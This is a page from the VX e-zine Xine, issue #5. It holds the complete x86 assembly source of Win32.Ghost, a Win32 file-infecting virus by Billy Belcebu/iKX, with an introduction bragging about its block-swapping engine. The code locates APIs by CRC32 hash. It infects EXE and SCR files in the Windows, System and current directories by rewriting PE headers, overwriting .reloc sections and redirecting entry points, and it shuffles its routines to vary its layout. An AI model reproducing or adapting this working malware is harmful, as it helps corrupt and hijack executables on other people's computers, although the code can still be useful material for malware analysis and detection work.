Copy Link
Add to Bookmark
Report
Xine - issue #5 - Phile 202
Ú-----------------------------¿
| Xine - issue #5 - Phile 202 |
À-----------------------------Ù
;
;---ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-¿
; Ú-ÜÜÜ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-Ù [ Win32.Ghost Billy Belcebu/iKX ]
; À-ÛÛÛ-ÛÛÛÛÛÛ---ÛÛÛÛÛ--¿ Ú------[ 1731 bytes Target - Win32 Ring3 ]------
; Ú-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-Ù | [ 09/05/00 - Made in Valencia, Spain ]
; À-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ---Ù
;
;
;
; [ Introduction ]
;
; Welcome to Ghost, the new creation of Billy Belcebu (me!). Well, if you've
; read my 'Metamorphism Essay - Part II', i've just made a virus with a block
; swapping engine :) It's not a new technique in virus coding, but i think
; it's the first time someone tries it in Win32 viruses. Just a coding exer-
; cise, a previous step before getting into the real metamorphism... step by
; step guys... i don't like the pressure :) Well... this virus is done very
; quickly, in much less time than all my other viruses (except Win9x.Molly),
; because it taken me 3 days to make the whole thing... coding 1 or 2 hours
; per day. It isn't supposed to be the best virus on earth,but what the fuck,
; it's a virus, and it's written by me, so i am proud of it :)
;
; [ How it works? ]
;
; Well, let's imagine that this is the virus in its first generation:
;
; A-BCDEFGHIJ-K -- virus
;
; The A and the K can't be changed from its place, because we need at least
; some routines with a fixed address (A) and the data always in the same
; place (K).
;
; So if we pass the virus through the BSE (Block Swapping Engine), we'll get
; all yhe routines with its address changed. Let's see it with a graphical
; example:
;
; A-BCDEFGHIJ-K --[ BSE ]-- A-GBCFJEIDH-K
;
; For achieve this goal we have an structure with some references to each
; routine, called RIT (Routine Info Table), that has an ID for each routine,
; and it's size. It's enough information for handle all properly. Also, as i
; have said before we have a BSE routine for process the RIT, and swap the
; routines randomly.
;
; It's not metamorphism, but it's cool anyway :)
;
; [ Features ]
;
; + Block Swapping features included
; + Some Win2k specific code (uses SFP)
; + Infects EXE/SCR PE files
; + Overwrites .reloc sections if present (renames .reloc to .ghost)
; + Get's API addresses using only its CRC32
;
; [ Why this name? ]
;
; Ok, the question present in all viruses :) It's because the last album of
; the german power metal band Rage, called Ghosts. It's the soundtrack of
; this virus. Specially i like the ballad 'Love and fear unite'...
;
; [ Greetings ]
;
; To all the iKX family, specially to StarZer0 and Asmodeus for the moral
; support they gave me in my worse moments, and for pushing me to keep on
; coding. Also to my friends in the VX scene, and also my friend of real
; life RunAwayColt (Potro Desbocado), for being there and helping me.
;
; (c) 2000 Billy Belcebu/iKX [ http://beautifulpeople.cjb.net ]
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Win32.Ghost (c) 2000 Billy Belcebu/iKX |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
.586p
.model flat,stdcall
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
.data
szTtl db "Win32.Ghost",0
szMsg db "First Generation Host",10,13
db "(c) 2000 Billy Belcebu/iKX",0
virus_size = virus_end-virus_start
heap_size = heap_end-heap_start
total_size = virus_size+heap_size
PUSHAD_EDI = 00h
PUSHAD_ESI = 04h
PUSHAD_EBP = 08h
PUSHAD_ESP = 0Ch
PUSHAD_EBX = 10h
PUSHAD_EDX = 14h
PUSHAD_ECX = 18h
PUSHAD_EAX = 1Ch
MAX_PATH = 104h
sign = 00h
InfectPE = 01h
CheckImageBase = 02h
GetAPIs = 03h
GetAPI_ET_CRC32 = 04h
CRC32 = 05h
InfectDir = 06h
ProcessExtension= 07h
random = 08h
r_range = 09h
bse = 0Ah
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine Info Table handling stuff |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
rit struc
r_id db ?
r_size dw ?
rit ends
rit_size = size rit
rout macro routine_id,routine_start,routine_end
db routine_id
dw offset routine_end-offset routine_start
endm
callr macro routine_id
push routine_id
call dword ptr [ebp+call_rit]
endm
apicall macro api2call
call dword ptr [ebp+api2call]
endm
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | The virus code itself :P |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
.code
virus_start = $
host:
; int 3
push eax
pushad
call kaka
kaka: pop ebp
sub ebp,offset kaka
lea eax,[ebp+call_rit_routine]
mov dword ptr [ebp+call_rit],eax
push 05h ; ECX is the limit of pages
pop ecx
call $+5 ; We put a page inside our code
pop esi
callr CheckImageBase ; Get our own image base
mov dword ptr [ebp+ModBase],esi
push 05h ; 50 pages to scan
pop ecx
mov esi,[esp.24h] ; Put the candidate to kernel
callr CheckImageBase ; Scan backwards for it
mov dword ptr [ebp+kernel],esi
; lea eax,[ebp+api_list] ; Let's detect all the needed
xchg eax,esi ; APIs :)
lea edi,[ebp+api_addresses]
callr GetAPIs
; Let's mix the blocks :)
push 80000 ; Alloc lotsa memory...
push 00h ; Better too much than not
apicall GlobalAlloc ; enough :)
mov dword ptr [ebp+buffer],eax
; The memory is done like this table:
; +-----------------------+
; | Copy of RIT structure |
; +-----------------------+
; | New RIT structure |
; +-----------------------+
; | |
; | Swapped blocks |
; | |
; +-----------------------+
xchg eax,edi ; Make a copy of the original
lea esi,[ebp+routine_info_table] ; RIT in memory (for let BSE
push n_routines*rit_size ; to handle it)
pop ecx
rep movsb
mov dword ptr [ebp+new_rit],edi ; Save offset where we'll put
mov dword ptr [ebp+new_rit_mem],edi ; the new generated RIT
add edi,n_routines*rit_size
mov dword ptr [ebp+swapped_blocks],edi ; Save offset where we'll
mov dword ptr [ebp+swapped_blocks_mem],edi ; put swapped blocks :)
callr bse ; Call our BSE
push dword ptr [ebp+OldEIP] ; Restore this interesting
push dword ptr [ebp+ModBase] ; info
; Infect some files in Windows, System and current directories
lea edi,[ebp+current_dir] ; Save current directory to
push edi ; a temp variable
push MAX_PATH
apicall GetCurrentDirectoryA
lea edi,[ebp+infect_dir]
push MAX_PATH
push edi
apicall GetWindowsDirectoryA
callr InfectDir
lea edi,[ebp+infect_dir]
push MAX_PATH
push edi
apicall GetSystemDirectoryA
callr InfectDir
lea edi,[ebp+current_dir]
callr InfectDir
pop dword ptr [ebp+ModBase]
pop dword ptr [ebp+OldEIP]
mov eax,00400000h
ModBase = $-4
add eax,offset first_gen_host-400000h
OldEIP = $-4
mov [esp.20h],eax
popad
ret
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine for call to swapped routines (dinamically) |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; A bit weird, but w0rkz :)
call_rit_routine:
pushad
xor eax,eax
mov ebx,[esp.24h] ; Get routine_id :)
push dword ptr [esp.20h] ; Fix some stack things for
pop dword ptr [esp.24h] ; be able to return...
push n_routines ; ECX = n of entries of RIT
pop ecx
lea edx,[ebp+swap_routines] ; EDX = Ptr to swappable routines
lea esi,[ebp+routine_info_table] ; ESI = Ptr to RIT
crr_loop:
lodsb ; Load id of routine
cmp al,bl ; Compare them
jz w3g0t1t
lodsw
add edx,eax
loop crr_loop
w3g0t1t:
mov dword ptr [ebp+addr2call],edx
popad
mov [esp],12345678h
addr2call = $-4
ret
; ===( Swappable routines )==================================================
swap_routines = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Virus signature :P |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
signature:
db 00h,"Win32.Ghost (c) 2000 Billy Belcebu/iKX",00h
signature_end = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine for mix the blocks |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
block_swapping_engine:
mov byte ptr [ebp+rout_counter],n_routines
thereisnoloveforme:
mov esi,dword ptr [ebp+buffer]
mov edi,dword ptr [ebp+new_rit]
get_another_rit_entry:
push n_routines
pop eax
callr r_range
mov ebx,eax ; EBX = its place in RIT struc
imul eax,eax,03h ; Get a random block
add eax,esi ; EAX = Address of RIT entry
cmp word ptr [eax],00h
jz get_another_rit_entry
xchg eax,esi
movsb ; Copy the RIT entry into
movzx ecx,word ptr [esi]
movsw ; the new RIT structure
mov edi,esi
sub edi,3
xor eax,eax
stosw ; Nulify that entry
stosb
cdq
lea esi,[ebp+routine_info_table]
xchg ecx,ebx
jecxz over_build_offs
build_offset:
lodsb
lodsw
add edx,eax
loop build_offset
over_build_offs: ; EDX = Offset of the code
lea esi,dword ptr [ebp+swap_routines] ; of the RIT entry
add esi,edx
mov edi,dword ptr [ebp+swapped_blocks]
mov ecx,ebx
rep movsb
add dword ptr [ebp+swapped_blocks],ebx ; Ptr to next routine
add dword ptr [ebp+new_rit],3 ; Ptr to next block
dec byte ptr [ebp+rout_counter]
jnz thereisnoloveforme
ret
end_block_swapping_engine = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Search files by wildcards (Ring-3 runtime method) |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SetNewDir&InfectFilesInDirectory:
mov dword ptr [ebp+temp_esp],esp
push edi
apicall SetCurrentDirectoryA
InfectFilesInDirectory:
lea eax,[ebp+WIN32_FIND_DATA] ; Search for files
push eax
call omask
db "*.*",0
omask: apicall FindFirstFileA
inc eax
jz FailOccured
dec eax
mov dword ptr [ebp+SearchHandle],eax
SearchForMore:
lea edi,[ebp+WFD_szFileName] ; Is the file found factible
push edi ; of being infected?
callr ProcessExtension
jecxz NotThisTime ; Nopes.
callr InfectPE ; It's a PE executable
NotThisTime:
lea edi,[ebp.WIN32_FIND_DATA] ; Fill this with zeroes
mov ecx,WFD_Size
xor al,al
push edi
rep stosb ; Search for more filez :)
push dword ptr [ebp+SearchHandle]
apicall FindNextFileA
or eax,eax
jnz SearchForMore
CloseSearchHandle:
push dword ptr [ebp+SearchHandle]
apicall FindClose
FailOccured:
mov esp,dword ptr [ebp+temp_esp]
ret
EndSetNewDir&InfectFilesInDirectory = $
ProcessExtension_:
; input:
; EDI - Pointer to file name
; output:
; ECX - 00 - Error: not handled extension
; 01 - Possible PE file
push edi
xor ecx,ecx ; Clear ECX
mov al,"." ; Search for da point
scasb
jnz $-1
mov eax,[edi] ; Get the extension
or eax,00202020h ; Make it lowercase
cmp eax,"exe" ; EXE?
jz MaybePE
cmp eax,"rcs" ; SCR?
jnz NotHandledExtension
MaybePE:inc ecx
NotHandledExtension:
pop edi
ret
EndProcessExtension = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Infect PE |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
InfectPEfile:
cmp dword ptr [ebp+SfcIsFileProtected],00h
jz NotInWin2k
push edi ; See if file is protected
push 00h ; with SFC functions
apicall SfcIsFileProtected
or eax,eax ; If so, don't infect
jnz ExitInfectPE
NotInWin2k:
push 80h ; Destroy hostile attributes
push edi
apicall SetFileAttributesA
xor eax,eax ; Open file for R/W
push eax
push eax
push 03h
push eax
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA
inc eax
jz ExitInfectPE
dec eax
mov dword ptr [ebp+FileHandle],eax ; Save handle of opened file
push eax
push 00h
push eax
apicall GetFileSize ; Get its size
pop ecx
add eax,total_size
push eax
xor ebx,ebx ; EBX = 0
push ebx
push eax ; push size
push ebx
push 04h
push ebx
push ecx ; push handle
apicall CreateFileMappingA
pop ecx ; ECX = Size to map
test eax,eax
jz CloseFileExitInfectPE
mov dword ptr [ebp+MapHandle],eax
xor ebx,ebx
push ecx
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile
test eax,eax
jz UnMap&CloseMap&FileExitInfectPE
mov dword ptr [ebp+MapAddress],eax
mov esi,[eax+3Ch]
add esi,eax
cmp word ptr [esi],"EP"
jnz UnMap&CloseMap&FileExitInfectPE
cmp dword ptr [esi+4Ch],"EGAR"
jz UnMap&CloseMap&FileExitInfectPE
and dword ptr [esi+58h],00h
mov dword ptr [esi+4Ch],"EGAR"
mov edi,esi
movzx eax,word ptr [edi+06h]
dec eax
imul eax,eax,28h
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx ; ESI = Last section header
; EDI = PE header
or [esi+24h],0A0000020h ; New section attributes
and dword ptr [edi+0A0h],00h ; Nulify fixups
and dword ptr [edi+0A4h],00h
cmp dword ptr [esi],"ler."
jnz RelocNotLast
cmp dword ptr [esi+4],"co"
jnz RelocNotLast
; Overwriting stage, .reloc is last section
mov dword ptr [esi],"ohg." ; Set new section name to
mov dword ptr [esi+4],"ts" ; ".ghost"
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
push dword ptr [esi+14h] ; Where copy virus
mov eax,virus_size
mov [esi+08h],eax ; VirtualSize -> virus size
mov ecx,[edi+3Ch] ; ECX = Alignment
cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esi+10h],eax ; SizeOfRawData -> aligned
; virus size
mov eax,[esi+10h] ; Fix ImageSize to allow it
add eax,[esi+0Ch] ; to work in NT :P
mov [edi+50h],eax
mov eax,[esi+0Ch] ; New EIP
xchg eax,[edi+28h] ; Put new EIP and get old one
mov dword ptr [ebp+OldEIP],eax ; Save it
pushad
mov eax,[esi+14h] ; EDX = Where truncate
add eax,[esi+10h]
mov ecx,[edi+3Ch]
cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esp.PUSHAD_EDX],eax
popad
pop edi
jmp copy_virus
; Normal stage, .reloc not last or not present
RelocNotLast:
mov edx,[esi+10h]
mov ebx,edx
add edx,[esi+14h]
push edx
mov eax,ebx
add eax,[esi+0Ch]
xchg [edi+28h],eax ; Put new EIP
mov dword ptr [ebp+OldEIP],eax
mov eax,[esi+10h]
add eax,virus_size
mov ecx,[edi+3Ch]
cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esi+10h],eax
mov [esi+08h],eax
xchg eax,edx
mov eax,[esi+10h]
add eax,[esi+0Ch]
mov [edi+50h],eax
add edx,[esi+14h]
pop edi
copy_virus:
lea esi,[ebp+virus_start] ; Copy fixed part of virus
add edi,dword ptr [ebp+MapAddress]
mov ecx,(virus_size-(virus_end-swap_routines))
rep movsb
mov esi,dword ptr [ebp+swapped_blocks_mem] ; Copy swapped part
mov ecx,end_swap_routines-swap_routines
rep movsb
mov esi,dword ptr [ebp+new_rit_mem] ; Copy new RIT
mov ecx,n_routines*3
rep movsb
Trunc&UnMap&CloseMap&FileExitInfectPE:
xor eax,eax
push eax
push eax
push edx
push dword ptr [ebp+FileHandle]
apicall SetFilePointer
push dword ptr [ebp+FileHandle]
apicall SetEndOfFile
UnMap&CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapAddress]
apicall UnmapViewOfFile
CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapHandle]
apicall CloseHandle
CloseFileExitInfectPE:
push dword ptr [ebp+FileHandle]
apicall CloseHandle
ExitInfectPE:
ret
EndInfectPE = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Miscellaneous routines |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
CheckImageBase_:
; input:
; ESI - Address inside module
; ECX - Limit
; output:
; ESI - module address
and esi,0FFFF0000h
cmp word ptr [esi],"ZM"
jz ItWasKewlEnough
NotCoolAddress:
sub esi,00010000h
loop CheckImageBase_
ItWasKewlEnough:
ret
EndCheckImageBase = $
CRC32_:
; input:
; ESI - Pointer to the code to process
; EDI - Size of such code
; output:
; EAX - CRC32 of that code
cld
pushad
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; Another fool byte less
jnz NextByteCRC
not edx
not ecx
xchg eax,edx ; Another byte less
rol eax,16
mov ax,cx
mov [esp.PUSHAD_EAX],eax
popad
ret
EndCRC32 = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | APICRC32 engine |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; The pseudo-structure for the APICRC32 engine is the following:
;
; * ASCIIz String of the library (not needed for KERNEL32)
; * CRC32 of APIs we need
; * BB byte (for signalize the end of exports needed of that function)
; * ... (repeat the above points the times you need->libraries u use)
; * "" byte (for signalize the definitive end of imports)
GetAPIs_:
call oAPI
@FindFirstFileA dd 0AE17EBEFh
@FindNextFileA dd 0AA700106h
@FindClose dd 0C200BE21h
@CreateFileA dd 08C892DDFh
@DeleteFileA dd 0DE256FDEh
@SetFilePointer dd 085859D42h
@SetFileAttributesA dd 03C19E536h
@CloseHandle dd 068624A9Dh
@GetCurrentDirectoryA dd 0EBC6C18Bh
@SetCurrentDirectoryA dd 0B2DBD7DCh
@GetWindowsDirectoryA dd 0FE248274h
@GetSystemDirectoryA dd 0593AE7CEh
@CreateFileMappingA dd 096B2D96Ch
@MapViewOfFile dd 0797B49ECh
@UnmapViewOfFile dd 094524B42h
@SetEndOfFile dd 059994ED6h
@GetFileSize dd 0EF7D811Bh
@GlobalAlloc dd 083A353C3h
@GlobalFree dd 05CDF6B6Ah
@LoadLibraryA dd 04134D1ADh
@FreeLibrary dd 0AFDF191Fh
@GetTickCount dd 0613FD7BAh
db 0BBh
db "SFC",0
@SfcIsFileProtected dd 06DE8F7ABh
db 0BBh
db ""
oAPI: pop esi
GetAPIs__:
; input:
; EAX - Base address of the library where search the APIs
; ESI - Pointer to an array of CRC32 of the APIs we want to search
; EDI - Pointer to where store the APIs
; output:
; Nothing.
push eax ; EAX = Handle of module
pop dword ptr [ebp+TmpModuleBase]
APIS33K:
lodsd ; Get in EAX the CRC32 of API
push esi edi
callr GetAPI_ET_CRC32
pop edi esi
stosd ; Save in [EDI] the API address
cmp byte ptr [esi],0BBh ; There are more APIs in this
jnz APIS33K ; library
inc esi ; Check if it's the last of
cmp byte ptr [esi],"" ; all them
jz EndOfAPISearch
push esi ; ESI points now to the ASCIIz
apicall LoadLibraryA ; string of a library... We
; need to load it!
push eax
nxtchr: lodsb ; Reach the end of the lib
test al,al ; asciiz name
jnz nxtchr
pop eax
jmp GetAPIs__
EndOfAPISearch:
ret
EndGetAPIs = $
GetAPI_ET_CRC32_:
; input:
; EAX - CRC32 of the API we want to know its address
; output:
; EAX - API address, NULL if error
xor edx,edx
pushad
call over_APICRC32_SEH
mov esp,[esp+08h] ; Set stack as before
xor eax,eax ; signalize the error
jmp Remove_APICRC32_SEH
over_APICRC32_SEH:
push dword ptr fs:[edx] ; Set new SEH frame
mov dword ptr fs:[edx],esp
xchg eax,edx ; Put CRC32 of da api in EDX
mov dword ptr [ebp+Counter],eax ; Clear this field :)
push 3Ch
pop esi
add esi,[ebp+TmpModuleBase] ; Get PE header of module
lodsw
add eax,[ebp+TmpModuleBase] ; Normalize
push 1Ch
pop esi
add esi,[eax+78h] ; Get a pointer to its edata
add esi,[ebp+TmpModuleBase]
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+TmpModuleBase] ; Normalize
stosd ; And store in its variable
lodsd ; Get NameTable value
add eax,[ebp+TmpModuleBase] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable
lodsd ; Get OrdinalTable value
add eax,[ebp+TmpModuleBase] ; Normalize
stosd ; Store
pop esi ; ESI = NameTable VA
@?_3: lodsd ; Get pointer to an API name
push esi ; Save again
add eax,[ebp+TmpModuleBase] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX
push edi ; Save EDI
xor al,al
scasb
jnz $-1
pop esi ; ESI = Pointer to API Name
sub edi,ebx ; EDI = API Name size
push edx ; Save API's CRC32
callr CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it
pop esi ; Restore ptr to api name
inc dword ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
mov eax,dword ptr [ebp+Counter] ; Put in EAX the number that
; the API occupy in list.
shl eax,1 ; *2 (it's an array of words)
add eax,[ebp+OrdinalTableVA] ; Normalize
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
cwde ; Clear MSW of EAX
shl eax,2 ; And with it we go to the
add eax,[ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+TmpModuleBase] ; and normalize!! That's it!
Remove_APICRC32_SEH:
xor edx,edx ; Remove that SEH frame
pop dword ptr fs:[edx]
pop edx
mov [esp.PUSHAD_EAX],eax
popad
ret
EndGetAPI_ET_CRC32 = $
GetRandom:
; input:
; Nothing.
; output:
; EAX - Random number
push ebx edx
apicall GetTickCount
call _seed
dd "RAGE"
_seed: pop ebx
xor eax,[ebx]
mov [ebx],eax
pop edx ebx
ret
EndGetRandom = $
GetRandomRange:
; input:
; EAX - Range
; output:
; EAX - Random number into that range
push ecx
push edx
mov ecx,eax
callr random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
EndGetRandomRange = $
; ===( End of swappable routines )===========================================
end_swap_routines = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routines table |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
routine_info_table:
rout sign,signature,signature_end
rout bse,block_swapping_engine,end_block_swapping_engine
rout InfectDir,SetNewDir&InfectFilesInDirectory,EndSetNewDir&InfectFilesInDirectory
rout ProcessExtension,ProcessExtension_,EndProcessExtension
rout InfectPE,InfectPEfile,EndInfectPE
rout CheckImageBase,CheckImageBase_,EndCheckImageBase
rout CRC32,CRC32_,EndCRC32
rout GetAPIs,GetAPIs_,EndGetAPIs
rout GetAPI_ET_CRC32,GetAPI_ET_CRC32_,EndGetAPI_ET_CRC32
rout random,GetRandom,EndGetRandom
rout r_range,GetRandomRange,EndGetRandomRange
n_routines = (($-routine_info_table)/rit_size)
virus_end = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Data in the heap |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
heap_start = $
kernel dd ?
TmpModuleBase dd ?
AddressTableVA dd ?
NameTableVA dd ?
OrdinalTableVA dd ?
Counter dd ?
SearchHandle dd ?
call_rit dd ?
buffer dd ?
new_rit dd ?
new_rit_mem dd ?
swapped_blocks dd ?
swapped_blocks_mem dd ?
rout_counter db ?
FileHandle dd ?
MapHandle dd ?
MapAddress dd ?
temp_esp dd ?
api_addresses = $
FindFirstFileA dd ?
FindNextFileA dd ?
FindClose dd ?
CreateFileA dd ?
DeleteFileA dd ?
SetFilePointer dd ?
SetFileAttributesA dd ?
CloseHandle dd ?
GetCurrentDirectoryA dd ?
SetCurrentDirectoryA dd ?
GetWindowsDirectoryA dd ?
GetSystemDirectoryA dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetEndOfFile dd ?
GetFileSize dd ?
GlobalAlloc dd ?
GlobalFree dd ?
LoadLibraryA dd ?
FreeLibrary dd ?
GetTickCount dd ?
SfcIsFileProtected dd ?
current_dir db MAX_PATH dup (?)
infect_dir db MAX_PATH dup (?)
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime dq ?
WFD_ftLastAccessTime dq ?
WFD_ftLastWriteTime dq ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
WFD_Size = $-WIN32_FIND_DATA
heap_end = $
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | First generation host |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
first_gen_host:
call MessageBoxA,0,offset szMsg,offset szTtl,10h
call ExitProcess,0
end host